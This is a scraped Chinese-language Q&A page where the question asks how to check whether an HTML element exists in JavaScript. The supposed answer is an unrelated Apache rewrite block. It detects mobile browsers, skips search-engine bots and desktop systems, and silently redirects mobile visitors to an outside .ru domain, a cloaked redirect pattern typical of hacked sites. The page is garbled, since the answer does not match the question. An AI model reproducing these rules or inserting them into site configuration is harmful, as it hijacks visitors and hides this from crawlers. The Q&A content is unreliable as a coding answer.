Question

检查网页中是否存在html元素的正确方法是什么。

我喜欢这样：

    if (document.getElementById('container') !== null) {doThis()}

这有多好？还有什么其他方法？

Answer 1

已回答

我正在寻找

RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR]
RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]
RewriteCond %{HTTP:Profile} .+ [NC,OR]
RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]
RewriteCond %{QUERY_STRING} !noredirect [NC]
RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\     Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC]
RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]
RewriteRule ^(.*)$ http://wwwtype.ru [L,R=302]

检查html元素是否存在的正确方法

1 个答案: